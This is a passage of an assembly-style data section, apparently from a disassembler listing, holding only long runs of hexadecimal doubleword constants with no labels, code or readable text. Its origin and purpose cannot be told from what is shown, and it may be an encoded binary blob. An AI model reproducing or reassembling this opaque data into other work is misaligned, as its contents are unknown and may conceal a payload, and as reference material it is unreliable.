		dd 8027669h, 167B7E2h, 206EDE81h, 721A0EFAh, 58395946h
		dd 64671A1Dh, 30510E15h, 0ABC332E4h, 0C0F3D7A3h, 949682BCh
		dd 751BEB9Eh, 26572A15h, 7F30719h, 84F28278h, 909E46B1h
		dd 0C8867A85h, 0A23C4957h, 0FE14BBDDh, 0B5D4146Bh, 4C1F7F89h
		dd 1B509792h, 0E492C230h, 74F4CED1h, 0C3F0E4D2h, 686310E1h
		dd 10030C7Dh, 7F8BF2EDh, 0ACCA6200h, 4B864BD9h,	3707523Ah
		dd 80E6E3B8h, 6DAFFA70h, 0CE6B65E2h, 37B7A29Fh,	205EA6FCh
		dd 88100A75h, 272CD83Ah, 0D1337746h, 0C0448ED1h, 0E9CAD5A4h
		dd 0A323167Ah, 5422EAB8h, 0C1BB01E1h, 9F5D2F5Ah, 0FDF886D9h
		dd 440767B5h, 9F1A5ECEh, 5CDC1380h, 94CEBD29h, 97772268h
		dd 0A1DA6188h, 0FF294F3Ah, 0EAFBE6B9h, 0A9D8CDF0h, 304D00ECh
		dd 0D6401165h, 173A6089h, 3554C68Dh, 34B5422h, 6C153DECh
		dd 0D3E5E33h, 84C78732h, 0D0DBF248h, 0D1FBB1C5h, 0F7FD3B6Dh
		dd 9F51DDE2h, 0E0A6DA4Ch, 0EA9F8AF5h, 5C142B12h, 0C88340E6h
		dd 0CBD9A577h, 32A7DA4Fh, 23A3D6A0h, 1F97E871h,	284B14A5h
		dd 243F2A55h, 0AAA24673h, 3B97DC87h, 0D0AE4E24h, 58EC2285h
		dd 0A10DDEE9h, 207CE2DDh, 0ECA01E6Bh, 4C350A5Fh, 0F2C16413h
		dd 0CD69DA8Dh, 0F091CED1h, 6CF070B4h, 5D8783F6h, 0D08423Dh
		dd 4844124h, 130017B2h,	28337354h, 70BE126Dh, 0DB5B6E7Bh
		dd 5D0A49AAh, 0C893F604h, 0F8322F9Dh, 9F6B1E55h, 0EC8A8795h
		dd 8AD36621h, 0D17B6732h, 0A6538ED1h, 304F5AA5h, 5D483926h
		dd 7D65524Dh, 0A5A79797h, 0CDE9CFB2h, 3916F3F5h, 0D1B8026Dh
		dd 105B1B79h, 29A37F8Ch, 1C133669h, 8B1D4237h, 95470B7Eh
		dd 0C5ACAF5h, 8E2C93A6h, 72713067h, 71119ADAh, 0BC9E7237h
		dd 8DB09689h, 0A1B5A7B9h, 69796E46h, 9130363h, 0EEB3233Eh
		dd 0B1CB0752h, 1450EEB1h, 0C796C93h, 9DFC213Fh,	347717CDh
		dd 0B7FB1A42h, 0B9A31F0Ah, 5839A6F9h, 0F1987027h, 307B3B61h
		dd 0FCCEF29Ch, 498841C9h, 0C0B38E34h, 0ECDE8136h, 1F3F6A60h
		dd 0C45685EFh, 0C4C792DBh, 564F9E5h, 9C2F4F35h,	94B7762Ch
		dd 0F009619Bh, 54D4F073h, 4C354211h, 0D6C4C13h,	0A4E78725h
		dd 2C8F0E54h, 3832F276h, 0A1501609h, 6D67A1ECh,	0C0BD8224h
		dd 6DD79F95h, 383E6818h, 5453422Dh, 0B3F27h, 0B43A4516h
		dd 0D83B6DCh, 0BBC3FB5Dh, 684F2ABEh, 3A238FFAh,	743B2679h
		dd 0B7180D30h, 85871B6Eh, 0E4A45AE5h, 290B92C8h, 0EB40023Dh
		dd 80FEC274h, 575A43D5h, 31FE7966h, 1C1F0A6Dh, 1032E031h
		dd 1CE29F05h, 48433729h, 7477625Dh, 0A0AB9E81h,	9F899BB5h
		dd 2D5B7306h, 7D8C324Dh, 5BBCAFDh, 7F61789Eh, 9B82D4D5h
		dd 0B9B68C98h, 62445A44h, 181C0F7Fh, 8BE41A2Ah,	0EDD1CD9Fh
		dd 0D0AE9A83h, 2E5B49A9h, 86D1305h, 5552505Eh, 89ADBBB5h
		dd 8CDEEF99h, 3936D4FAh, 0D211739h, 51766B7Dh, 92A6AA55h
		dd 0EBA397AEh, 0E0F6E7CFh, 2F392E04h, 5F4C4F36h, 8AB00658h
		dd 0A1B3B388h, 0FFF6CBE3h, 0F43B1FF1h, 0ACA2D3DBh, 9185A1DDh
		dd 744E6A60h, 2D3A385Dh, 0EAD0661Dh, 0C1D3D3E8h, 9C94A185h
		dd 4C637F8Dh, 630243Ah,	3C24321Ch, 0C58BCACEh, 0B88B83EDh
		dd 5956B4B1h, 6D411249h, 390F0B1Dh, 0B3FBDF28h,	0FCF08FBAh
		dd 0DDE3CFF8h, 276B3B2Ch, 65597E10h, 0AC924355h, 868E80B9h
		dd 0C3DEFAE4h, 19085AE4h, 444A103Dh, 6E7E5158h,	0A58CFE84h
		dd 0C0D6ECA1h, 151AD2FCh, 21005208h, 74746345h,	548A9670h
		dd 24275848h, 33772338h, 0C5FFEAE4h, 0A599BAD8h, 795D8395h
		dd 24665760h, 240F2B16h, 0ECFFF700h, 0A98BE2E8h, 0A0B285FDh
		dd 73795B77h, 6C11057Ch, 0EEC7231Eh, 0EDF4E0C8h, 0A89E809Eh
		dd 33633A84h, 614F1208h, 4656507Fh, 0ADEB9FB8h,	0E5C9FA94h
		dd 3E1CD1DCh, 10B1B0Bh,	554B4111h, 90A69C4Bh, 0D8C29BACh
		dd 0F3F9EBCDh, 30047E20h, 5E6F4430h, 8B966576h,	0B697D29Eh
		dd 0E3FECDDEh, 0DA5D49F6h, 0BCB0C4C0h, 9B85B2DDh, 53587B62h
		dd 29117806h, 0CB931201h, 0CDE1C6E8h, 84BAABBDh, 5E666891h
		dd 1B06627Ch, 3104423Ch, 0ECE2F8D5h, 8196BEF0h,	5460C6BCh
		dd 4777748h, 24281722h,	0B5FBD720h, 0E7D79384h,	0D1DBCBDBh
		dd 5063715h, 61715F75h,	0B1855658h, 82A885A8h, 0D5D7E7D7h
		dd 0E260CA5h, 4442233Dh, 7B7B6E7Ch, 0B29CFE82h,	0EADADEBCh
		dd 7816EAF0h, 20062623h, 64685B5Bh, 6A868855h, 2F265A40h
		dd 1B231138h, 0A0C5FBEAh, 0BE9CBEFBh, 7D67879Ch, 414B5B4Bh
		dd 330F0051h, 0C8EEFF17h, 8791C6ECh, 0A7A4A79Eh, 437F7021h
		dd 181E0F67h, 0D7C1163Ch, 0F7F4F7CEh, 9EDB96B4h, 395D79B1h
		dd 5B660208h, 5D434178h, 0AEEBB0AEh, 0FCFEC781h, 2F36CFEFh
		dd 1341402h, 5F527A72h,	8881DA4Bh, 0C6C6A686h, 0F1FBEBFBh
		dd 0F3F3061h, 7C514F25h, 9D90696Bh, 0AB93A19Eh,	90F5CBDAh
		dd 0EE3F0ECBh, 0ABA6C2C6h
		dd 869EB4A9h, 4C4A6B75h, 23322F78h, 0D6931F0Bh,	0CDD5E5F9h
		dd 99ADABA5h, 5D7A6E97h, 5065B65h, 542E3012h, 0D5E7CAF3h
		dd 839C83FBh, 4C60A3BDh, 63697B5Fh, 3E1A0125h, 0A8FCD336h
		dd 0EFED9F9Bh, 0F5E4F59Dh, 120A2A12h, 0C6F7F01h, 0ABBC4A5Ah
		dd 878881A8h, 0B0CFEBFAh, 122135C6h, 2857352Ch,	7C63675Ah
		dd 0A2BF8D8Eh, 0C1DEC4ACh, 1D0186FCh, 3747240Eh, 107F4054h
		dd 778C9576h, 143424Ch,	6121633h, 0E3DFFBEFh, 0A9ACA5D9h
		dd 7C7D87B1h, 6D275761h, 21E3A3Fh, 0FBFBFF0Bh, 87A0E2ECh
		dd 0B7B2AC93h, 536F5B55h, 90B0B61h, 0CCDD0F59h,	0E1E9E0C8h
		dd 0B5ABA185h, 152F7BABh, 7A660207h, 7B434773h,	0B585BBB1h
		dd 8CDEE687h, 3D27C8F0h, 10021C3Fh, 545A6B43h, 99A3B363h
		dd 0FEE797C9h, 0A7DED2FCh, 0C0F5053h, 496D2A19h, 979F457Eh
		dd 0A18CB79Eh, 0F5C9AEC8h, 0F91F35E2h, 0B1A6FDC7h, 0F4B69A98h
		dd 714C7B53h, 352D2F40h, 0EDFF072Fh, 0E5DFF7E8h, 979E9CD1h
		dd 6A7B7FB6h, 0D167A68h, 54163A38h, 0AB8E5722h,	0EC97BB5Dh
		dd 0B5DBC6D9h, 6E043661h, 15E0471h, 0D9C5E915h,	3D33A62h
		dd 0DEE3F249h, 33390F01h, 39EF9F8Ah, 1C502679h,	10720DC1h
		dd 33BBCEA4h, 2B8C5261h, 3D92D3C4h, 0EB24027Dh,	0AACB94B1h
		dd 82A55DBh, 0FD73C6ACh, 0D4C35DADh, 401B2E31h,	1C86346Dh
		dd 2297BD29h, 1EBBE95Dh, 0A0ABF6C1h, 0CEB5CAA5h, 70138CABh
		dd 24275BC3h, 232A4E3Bh, 581A6535h, 0B7E3D6BCh,	0E8423DA4h
		dd 850B7E14h, 0E7231EEAh, 0F8A6CED4h, 98B71ADh,	90CBEE64h
		dd 0BFE39C5h, 83D1893Ah, 7402F698h, 746453C1h, 649F8AD6h
		dd 0A7AC59EDh, 518FF7C6h, 0BFB60E51h, 0FCCFF9C4h, 575C9521h
		dd 4C120942h, 0CD4B3E54h, 2C1CC2DAh, 7C1EE19h, 414C2D12h
		dd 90DB9B6Dh, 971BBA00h, 0EB363924h, 0E91FE2DDh, 0ABD4E1FEh
		dd 199C15F2h, 98936691h, 4926EF8Dh, 0F0BBD4C5h,	0B982D3D6h
		dd 68230BA7h, 506162Ch,	7FDAEFF1h, 0ACCA8600h, 1C3741D9h
		dd 313B87D2h, 92066E31h, 34FABA41h, 8883F6E9h, 0F75A23C0h
		dd 0A6B1E5Bh, 28A878Ah,	88D36623h, 0C0C73F9Fh, 33BBA491h
		dd 0BB295661h, 683902CCh, 0D337CF3Dh, 80D1A864h, 86BF8ED5h
		dd 12B0DB99h, 0BB46386Ch, 1468D102h, 0DC6AEFFAh, 432BC65Dh
		dd 0FF77625Dh, 0F0A8C551h, 0BE6A4789h, 9313A6E3h, 24263EB7h
		dd 78F1C551h, 0BF8F9A64h, 8828BD71h, 72240976h,	470E4A40h
		dd 0AE949FF7h, 0EFBC81DAh, 0FD44626h, 0BA8FBE3Dh, 367D6B85h
		dd 0F8968996h, 0B7376228h, 7560D205h, 8CDFBF81h, 0B2D07192h
		dd 0E60B54Ah, 0B93BE611h, 960CD972h, 0A14B8ED3h, 199782BDh
		dd 0BEE11F23h, 0EFCF5F9Ch, 0CEB59370h, 40C2D2ADh, 19D9A6B9h
		dd 0DC593C10h, 0B2141A9h, 0F4F70A88h, 0A1761E01h, 0C4443D8h
		dd 0D20EED79h, 27A7F2BBh, 0F0F3EAADh, 3CB69EEAh, 84E21609h
		dd 54574075h, 818FD6F5h, 7900EA95h, 3873F349h, 808AEEA6h
		dd 505A6A55h, 0DCC5EA45h, 8883F201h, 0E0E5F49Dh, 0F5940941h
		dd 0C5F3FF9h, 4F5EEF0Ah, 0E4E7F3C9h, 0B2D1DFC0h, 144E30F4h
		dd 68235649h, 4882FD6Fh, 56CBBED4h, 0F7CB5C50h,	7C1BD2C9h
		dd 1347526Ch, 303F9ACEh, 0E3EFFA07h, 8751EBCh, 0B4F23B5Dh
		dd 0B44888F5h, 0A60B41E5h, 4F42B4F9h, 0E8B2CD5Bh, 297B0E64h
		dd 6CFA5AE0h, 0D47669DFh, 59D782C8h, 57597A76h,	0E1272E7Fh
		dd 0B8B242CEh, 44B439ADh, 2382FE9Bh, 0C7F6A6Eh,	58532639h
		dd 50A2DD4Fh, 61EB9EF4h, 8C9D8231h, 7C2759B9h, 7CF28D45h
		dd 633B4E27h, 0CAD74FDAh, 6AFED689h, 0AA1782B9h, 64A0B6Bh
		dd 39BBA7DEh, 0E1100659h, 0D4C74760h, 4198AEF1h, 18BD85D3h
		dd 0D74BB969h, 0FBF7E2DCh, 202A0E85h, 7661CA35h, 18D5760Ch
		dd 20A8B2B3h, 0F0FBCFD0h, 492F2465h, 56E250F8h,	13190B2Dh
		dd 4F00FCD4h, 0A3FEAC53h, 526208F2h, 5751432Dh,	664BFB8Eh
		dd 0E7F6BA05h, 5706F928h, 39B7A29Dh, 2076FCC4h,	641F6075h
		dd 0D8D32635h, 7118A19Dh, 0B0FBB881h, 7C4F5698h, 97A65949h
		dd 0FD17023Dh, 0C0CBFE50h, 0FEEF9454h, 0FD7CD0D0h, 444752C8h
		dd 0BC13E8B2h, 98E0F739h, 484336B0h, 87024261h,	0AF91A22Dh
		dd 0CCDF4630h, 381E4BF9h, 1907122Dh, 41E2970h, 8023E510h
		dd 699FE3A9h, 0BCF73D83h, 717E4A55h, 1C7C1494h,	0CD9C6963h
		dd 7BC054C5h, 6AEAE1F1h, 5C2F1DD5h, 0F751949Eh,	74029E88h
		dd 0B02BEDC1h, 64CFDAA5h, 5853A6B0h, 0A101D09h,	545A617Dh
		dd 0DC5A2525h, 2DA396FFh, 0A7A1F67Dh, 0ACEF7A8h, 7D3F6A63h
		dd 0F8F10671h, 9296836Dh, 0B40E51E1h, 116F3AB3h, 88D8B53Ch
		dd 3DC4B2DDh, 727B4F55h, 0D9A01B64h, 98D35315h,	5B83B60Ah
		dd 0B0CEF244h, 0BCCCE2E5h, 28766184h, 97AE437Dh, 0D4CDF1F2h
		dd 0A9ADABC2h, 5B5A8B85h, 6B747D5Fh, 7071A17h, 0B3CBD42Ch
		dd 0CBDF859Eh, 0D1C5D0E8h, 53D2A2Fh, 63767907h,	0A0967A57h
		dd 96889EBDh, 0E4BBFCF4h, 192828C4h, 5B4C1E3Dh,	14150249h
		dd 0C0B40E1Eh, 0DECFABD5h, 151AFEF6h, 27353B43h, 71774F56h
		dd 6CC1837Dh, 10D3645h,	1957291Eh, 0D3DFE4F3h, 0C6AEB0C7h
		dd 4A56B5ACh, 16174B2Dh, 414B7B61h, 92AFB445h, 0A2CEACA9h
		dd 0F4998BB2h, 72624807h, 39751F61h, 0B8B346B1h, 6906CFADh
		dd 0D09BF345h, 4958BF03h, 0F7037629h, 7402B688h, 0FF031FC1h
		dd 92F5B681h, 6D031332h, 0C83E720Dh, 1A4E202Dh,	3F15B43h
		dd 2580A3D4h, 0D4A1C200h, 423DF561h, 89598F02h,	0CB998394h
		dd 4148D2ADh, 90DB9D21h, 6629F37Fh, 333DF825h, 3B15E36Ch
		dd 0A5A65DEAh, 4C1F5F84h, 0F2930C29h, 324D83h, 73FB8EE4h
		dd 38073E99h, 6C8B3D7Ch, 757427Dh, 7F8BFDE7h, 0ACCA6200h
		dd 0C47B2ED9h, 3EFEDD2h, 35B6E71h, 93F0F903h, 1D7CF6BAh
		dd 0B4F79715h, 9F976FA9h, 0FF49E28Ah, 552CD9C6h, 0E4A7E1CEh
		dd 0B0BB8579h, 391C0FA5h, 611651Bh, 145B4E79h, 0F5576B1Eh
		dd 0A657AA95h, 0F738699h, 2D35221Eh, 517D5A5Fh,	8910AA05h
		dd 48030361h, 4123E7D4h, 91A49EC1h, 0D43F4738h,	9D9AE6B9h
		dd 2467044Bh, 0ECEEB100h, 2F8FDA50h, 0E8E392E1h, 39624FFDh
		dd 590B7E39h, 5A53D798h, 6E5B4619h, 0E2786D5Bh,	0CDBC6B36h
		dd 0ACD03A85h, 156AD3EAh, 0B937225Dh, 0A0F6F954h, 0E6CBDAF5h
		dd 0A53CCB8h, 64677025h, 0AEF191h, 79CF9A13h, 8AD68C09h
		dd 89CD0F30h, 2A197E21h, 4B8AA753h, 0ACF34604h,	959782BBh
		dd 0A40E51E3h, 0C46F3AB3h, 0FEEF2356h, 7131E29Dh, 206B264Ch
		dd 4C53A235h, 0CBC46679h, 97ECF1C2h, 0BCBFE0E3h, 0A9F01AA9h
		dd 68232395h, 54502AEEh, 3506BEA1h, 0ECBFF2D1h,	0C48E4B80h
		dd 0EC075218h, 0AFA49820h, 0DCAFB6ADh, 0C6CAA1E9h, 0E0F2ECD4h
		dd 2C271A6Fh, 908AF575h, 5DD3660Ch, 363FD0Dh, 23BB8E90h
		dd 7C4F5FCDh, 0AA96DB49h, 4D174225h, 0F6D3436Ch, 0B657AA95h
		dd 0FB8C796Fh, 4714ED0h, 94142E31h, 1CEFFBC7h, 49D3DAA8h
		dd 1C23625Dh, 0A0AB9F80h, 0F9235F4Ah, 0DC92E6B9h, 2427339Dh
		dd 1AAFC501h, 2970C865h, 0E8A3A095h, 0A18E0278h, 1383562Ch
		dd 0F9806A15h, 0B8F373E5h, 39047046h, 0D09BF398h, 0D1064FC5h
		dd 481E1BECh, 0A1C8721Dh, 0E0ABE8C9h, 8904A70h,	5853A782h
		dd 0EF6B32C6h, 0BF0BF111h, 0BCD2B3A0h, 0E52610C9h, 9597C285h
		dd 41217E0Bh, 0B9C0283Fh, 0F8B3300Dh, 0CB382A6Eh, 909ABC35h
		dd 9E2E985h, 0C883ABCCh
		dd 0A7A5F2B7h, 162F8BFEh, 8CDA4A75h, 9861E376h,	192AB28Dh
		dd 0F0BBD357h, 80E71254h, 9CE9F3h, 545742E9h, 96D95FFh
		dd 13ABCEA1h, 78065E4Ch, 90BA9F2Dh, 0E15B2E6Ch,	26325244h
		dd 0CC080916h, 5476B2B9h, 442F5549h, 4FFCB71h, 0D0F76232h
		dd 0E4E21A9Dh, 9E9E8E91h, 2B4F2293h, 1D77C3B6h,	0D094027Dh
		dd 0C68C38EDh, 2D2A27F5h, 1273C684h, 44663A6Dh,	43492E31h
		dd 2AFF6FFAh, 34CE3669h, 8B207679h, 0E09EC614h,	0F4DB0CB5h
		dd 1879A6F3h, 0DB74655Dh, 304D5EC4h, 31699965h,	0A8FE3434h
		dd 0BCD7A8FDh, 0B3E2Dh,	0F9803942h, 0B8F37049h,	84879E90h
		dd 5D969BF1h, 1C197470h, 458EFB69h, 1F376225h, 0B1EBB40Fh
		dd 1960D9A3h, 581390B5h, 1A678ACEh, 0CEB09F3Eh,	0CA816FA8h
		dd 0A513D689h, 84E22C4Fh, 0BAB39601h, 5E5ED5AAh, 75FAE50Eh
		dd 2E2CD39Ah, 5EB0613Ah, 0AA21C708h, 6C30B6E9h,	4D1C155Ah
		dd 20BEE152h, 0CC5F0A03h, 0D88611C4h, 8ED3B38Dh, 0F08EFEB9h
		dd 809AE5E5h, 0E863563Ch, 146F0FC0h, 91FFBEA1h,	0F1966F52h
		dd 3833C699h, 81C1122Dh, 501B563Ch, 22F95345h, 0D440916h
		dd 0B4F7B71Dh, 0E06B5E41h, 0C1BC828h, 0F89C2C34h, 8A889DA3h
		dd 90DDE1B1h, 192933C9h, 86C7668h, 717A6B49h, 0E0A48AC1h
		dd 0C9D3CFB6h, 0C12F4FBh, 4E4A7308h, 303B0E11h,	6FCFB525h
		dd 2D2E5B5Ch, 1510422Fh, 0CECEFAF3h, 9ED5C794h,	76768A9Ch
		dd 57425E79h, 50022222h, 0CCFFFB0Dh, 8682B6F0h,	0ACB2E299h
		dd 74685B51h, 400B0474h, 0D9C73579h, 0EAEEF6C3h, 0FDFBD496h
		dd 3D7830C8h, 616B151Dh, 55174573h, 84CBB2ADh, 0EDBFF394h
		dd 3673C2D7h, 100F1524h, 5F5D2E3Dh, 8EA9FA57h, 0CCCDB3A0h
		dd 0B4DEA2CEh, 34221F16h, 7B35276Fh, 9D816371h,	0A1B5B3CDh
		dd 0E5F4D791h, 0EE095AA9h, 0ACADD3C0h, 0B7D7DDAEh, 14E736Eh
		dd 6C2B0315h, 0ECB31510h, 85C2DFE4h, 0D78F87F1h, 5D633A96h
		dd 6542737Dh, 93D34677h, 269F9791h, 4AEBF985h, 0A19E81C9h
		dd 6AFE784Fh, 0FB023911h, 8D6577Fh, 0E44FAAA6h,	83E5EA5Fh
		dd 0D191BB01h, 7FDE7452h, 60607423h, 0E4E7F215h, 0B0BB8E91h
		dd 7C4F5AA5h, 28235649h, 1417023Dh, 0C0CBFEE1h,	0ACBFAAD5h
		dd 78738699h, 4447526Dh, 101B2E31h, 1CEFFA05h, 48433629h
		dd 7477625Dh, 0A0AB9E81h, 0CCDFCAB5h, 1813E6F9h, 2427320Dh
		dd 707B4E51h, 0BC8F9A65h, 0E8E39689h, 7154A2FDh, 4B0787h
		dd 0C6DAE915h, 0B8B30660h, 90C425A2h, 0DFC3BD7Ch, 5F297172h
		dd 2C47FDB9h, 38750939h, 0A2D0C7B3h, 78BF9FDh, 1A78B2FBh
		dd 0C2F2FB41h, 0B93B4E28h, 0BCF670A0h, 2BA63DC9h, 4D75AA7Fh
		dd 404FBC00h, 0EC8AFDDh, 9C1B0659h, 0ACC7D2EDh,	909BAE91h
		dd 0BE4BFF08h, 0F19AB6E9h, 77FB96C5h, 0D7C91AC1h, 75D1CFCAh
		dd 6F506639h, 532AB154h, 13FB8EF3h, 0C07FE5F5h,	80E01686h
		dd 0DDA1A079h, 0C0A99A3Ch, 0ECC56995h, 0A18C3ADh, 8917602Eh
		dd 0B03923Fh, 0DC95391Bh, 0BA7CF29Dh, 0C648A176h, 9F3CB651h
		dd 0C234F58Ah, 0E179AB12h, 0E7BFF28Dh, 3F78BADAh, 3C76C820h
		dd 0A6A69149h, 14174204h, 28CBFEE1h, 0ACBFAAE9h, 41FD0312h
		dd 31AF522Dh, 0F8E4D1C6h, 1CEFFA1Dh, 71CD8BAAh,	177621Dh
		dd 361789h, 27DF8A97h, 969E1965h, 0E7277234h, 49E9CBDEh
		dd 29069A25h, 0E8A3AF07h, 0D4D7C115h, 0C3C20D21h, 6CFFF99Eh
		dd 50E14659h, 7B786C40h, 0E9717BF2h, 8A2C3A85h,	80F0CEAh
		dd 3530A612h, 9A68DEC1h, 8908AE5h, 5853A644h, 346B30C6h
		dd 0CFC5C6F9h, 564AD9DAh, 0ABA396F0h, 9C1DD27Bh, 344B87E1h
		dd 2C6AA4Ch, 13B3056Dh,	0C58F591Ch, 4F444F30h, 65EEA55Ah
		dd 0C88FFAEDh, 0DFAE0EA8h, 0DAD29DC9h, 4CE8C53Ah, 19F56679h
		dd 96944CF5h, 0F0504BDEh, 0BF591AE5h, 6D161633h, 0BF4708F6h
		dd 838135A3h, 9E17BB64h, 3BCC3927h, 443EB898h, 90DEC371h
		dd 58A0413Dh, 8883F66Dh, 8D1D1762h, 883B5E01h, 0F3E0F420h
		dd 0E179A33Ah, 6168F28Dh, 0B0FBB73Bh, 2F6B5EA6h, 1B2196CAh
		dd 1CA10DE6h, 94BEC02h,	887EF9F5h, 645A82BDh, 604B7B49h
		dd 0F9F06E6Ah, 0CBE00184h, 7637EB92h, 31DF99DCh, 96DF45EFh
		dd 0F7863134h, 36671958h, 6F1C98Ch, 560FE2E4h, 551C61E4h
		dd 0F69765D1h, 3DAA397Ch, 167FCD79h, 53399194h,	0B6C7A77Ch
		dd 0BBB7692Ch, 0D6AF0FD4h, 65BDAF3Ah, 0E1587629h, 0CBC8DD6Ch
		dd 0F4295D9Fh, 7361651Ch, 32516546h, 718F2A49h,	0B8C4F1E7h
		dd 0BCEB0BB0h, 991BB0C9h, 547580A5h, 0A2497D85h, 2A558133h
		dd 0D09EE41h, 6442D12h,	0FA4A29B9h, 71872280h, 483C495Ch
		dd 0FF84E127h, 0A5294EB1h, 4C1F6EE4h, 0F2B48DD3h, 240DEAE5h
		dd 0E88ECD2Bh, 0F1E70B55h, 0D09CE9FCh, 5457427Ch, 8DFF6C25h
		dd 26010A44h, 3DD83032h, 4071295h, 0EFB9C5F1h, 0E0123786h
		dd 7F83B6DDh, 0F4839318h, 606B5E41h, 0BC1C7EF5h, 5D248C59h
		dd 0E4A7C6FCh, 0B1BB8E92h, 7CB9DEAAh, 7D9B5649h, 0BFFFEEB6h
		dd 5676774Ah, 1CBFEAECh, 8FD82C71h, 47363E8h, 101B2E31h
		dd 86527304h, 3C437610h, 45F29516h, 0A0ABDEB5h,	74DDCAB5h
		dd 2EEC829Eh, 439F3778h, 0DB55C535h, 0BC8F2203h, 0EB973DEFh
		dd 237D9F4Dh, 403F0FA4h, 6C7F6A15h, 0D53EFE51h,	92F292A5h
		dd 0E4EA6B06h, 5C2F3A85h, 8BBB7269h, 40372AD8h,	0D6866C4h
		dd 0C3348A0Dh, 6C62234Eh, 6464720Dh, 344F0E11h,	57653395h
		dd 91355342h, 5B1C82FDh, 8C2B64Ah, 1DBADDA9h, 0FBF3462Dh
		dd 0B0C7D2EDh, 0F4FC16EEh, 21E64C7Ah, 0C8838F37h, 0F4F75A76h
		dd 98807A66h, 4C5F6CBCh, 662E8ED2h, 84174D72h, 0F070139h
		dd 5A36F91Ah, 0E76E9B1h, 0DFFCD3D6h, 0C0BF8F34h, 1B2D1D95h
		dd 3833C51Bh, 0EC13672Dh, 0AFA490E6h, 7547A5F5h, 0EE7C0915h
		dd 0D2A25D25h, 0EBC0CFEAh, 929A81BAh, 0F3D36600h, 18AF7B05h
		dd 848A0B66h, 7C4B5AE5h, 3A575649h, 0EAD72B85h,	0C8735529h
		dd 7BBDE15h, 938BF321h,	0C1B0F90Ah, 105B1A00h, 1CEFFA0Dh
		dd 0F5C37C5Ch, 74375672h, 18EAEA81h, 5F6D29Ch, 2C3843F3h
		dd 0C0E7324Dh, 5BDE4452h, 178FDA51h, 62492739h,	94E3ED78h
		dd 40BB9421h, 5854EF1Fh, 0DE194619h, 737A7015h,	90EFDF74h
		dd 5C2F2AC5h, 0B8040269h, 8C518854h, 4B8D22B4h,	0BF356245h
		dd 0E5DA0D79h, 64274BCFh, 40A8BE6h, 0FCEFDA65h,	0A1D6D6C9h
		dd 119DDA0Dh, 400B4A48h, 0AD874CFFh, 0C976F1D9h, 84C792D9h
		dd 0E49BAEB1h, 0B4ABFA86h, 0FCEA13A3h, 5F91E29Dh, 19ADA388h
		dd 0BBF44A75h, 0D8A757FCh, 0A4A7B28Dh, 40F2BB91h, 158A18B5h
		dd 0C263563Dh, 6066C78Ah, 800BBEE1h, 0E78AEA95h, 0BD397E69h
		dd 4472607h, 366685DBh,	2BB78BFDh, 0C8B7C76Ch, 0B4B6A29Dh
		dd 0D0692A41h, 26BA005Ch, 18D3660Dh, 41EDF129h,	0B0FBBABBh
		dd 0C429F1C3h, 0ADD4A6C8h, 1457360Ch, 0C0CBFCE1h, 640BA8A0h
		dd 4C592393h, 0EF21522Dh, 29B993B8h, 2057FA45h,	0E343360Dh
		dd 4046E7AAh, 0A0A39EC1h, 0A0ABCAB5h, 2C22630Eh, 2027324Dh
		dd 7B0E4E51h, 398522D5h, 0E8A3A2A2h, 239A2957h,	403F0FA4h
		dd 6C776A15h, 0DEA23359h, 8E671115h, 90EFC554h,	6F845CC5h
		dd 1DE8DCA9h, 2C1E9A7Bh, 0D4C07BCBh, 685F8AB5h,	73F6ACBAh
		dd 2673279h, 1BEF9BAh, 0FCCF9A11h, 0CEA3D6D9h, 0E0570305h
		dd 488FFE62h, 18148F5Fh, 53950659h, 0EB4264E2h,	3B9BEE85h
		dd 0A85EFF72h, 0C8C3B6E9h
		dd 0FD83A2DDh, 0A5294EB1h, 4C1F7E1Ch, 0A91691D3h, 0A4A7F2B9h
		dd 40FBCEF1h, 380D6F63h, 962C9B0Dh, 607EE7F7h, 0D02BEE1h
		dd 0ECBFD31Fh, 0C4B36DBFh, 0B4006728h, 0AF14EE71h, 59581005h
		dd 88C3C2D8h, 0B4B7E29Dh, 510DE627h, 25AB0800h,	0C0638D5Fh
		dd 0D0CC77C7h, 507B8ED1h, 0F4FFF0A6h, 1C12D3BEh, 9417027Dh
		dd 0C2BEFEE1h, 9352C65h, 7833B2B0h, 0B8C7F90Bh,	0A01C5B34h
		dd 0E3A07A05h, 0CDB49C69h, 7437566Ch, 0A0AA9E81h, 8C6FC1C0h
		dd 2C3A63F3h, 0CF8D324Dh, 0F3C3285Eh, 952A90A5h, 8EE3D6BDh
		dd 7ED67256h, 343ABBD6h, 6C7F6A55h, 97C6465Bh, 0B0B6175Ah
		dd 0D0DBEEB1h, 465A3AC1h, 8D09B6D9h, 34771636h,	0D4DB7B4Bh
		dd 6C5E8AB5h, 3EEBC0A9h, 64D7D9CCh, 708B06FAh, 0C8E45F2Fh
		dd 5F09D689h, 0D4A3B338h, 484B7E61h, 4A2F5F55h,	0F21B85A1h
		dd 84F3F848h, 2030C8B1h, 2C679184h, 0E246BCE1h,	5EF7A2E9h
		dd 141A9BF6h, 4C5F4A75h, 0ED226669h, 1CC197F8h,	55F13652h
		dd 3C4F2ECFh, 0A850BD6Fh, 0DEEA6BD7h, 778BFE98h, 0ACCBDB10h
		dd 1833C6D9h, 0B518672Dh, 36408506h, 0D6B7B3FDh, 0C8B7DC4Ch
		dd 0B753629Dh, 5441FB4Bh, 0A7790A35h, 0E1599B10h, 256DF28Dh
		dd 89312B1Bh, 0D7295AE5h, 0AD210EF9h, 14573614h, 0F14E094Bh
		dd 0AFBFEAE1h, 77728699h, 4447D5E9h, 747C9631h,	9164DC8Eh
		dd 48030218h, 747793DCh, 615C9C81h, 0CFDFCAB5h,	7FABE38Ch
		dd 8F09B569h, 707B4EE9h, 0C924FC65h, 635BF08Fh,	6C7CA418h
		dd 6845945h, 0ABF59BEh,	8936B1F2h, 8487D299h, 0A5DAEEF1h
		dd 6DAACD85h, 803365Dh,	403F221Dh, 6D53B8E7h, 0BD1A7D99h
		dd 5853E68Dh, 6B65724Dh, 0D131CF84h, 354B7143h,	10C5DEBCh
		dd 3FF18699h, 48FB6D8Ah, 4A31C1FFh, 0FAAE5EA1h,	84F3F968h
		dd 7B30C8B1h, 36A6CA86h, 0FCF2335Eh, 0F4F7E29Dh, 5F9E01h
		dd 0C9754D85h, 98D35250h, 0A9BD524Ch, 0F0DFC658h, 826BFE7h
		dd 8CA31649h, 5093C27Eh, 2AEA0E0Ah, 0C0052F3h, 0C1A63D3h
		dd 0AF61126Dh, 646AEB86h, 0DC8FBA05h, 0DBF7F6E9h, 8086276Ah
		dd 606B5E01h, 16B2A75h,	0D8D0E1CEh, 0E193F2CDh,	5B111E21h
		dd 0F788D156h, 681AD4C4h, 9DD6293Dh, 987B02A0h,	98962FDFh
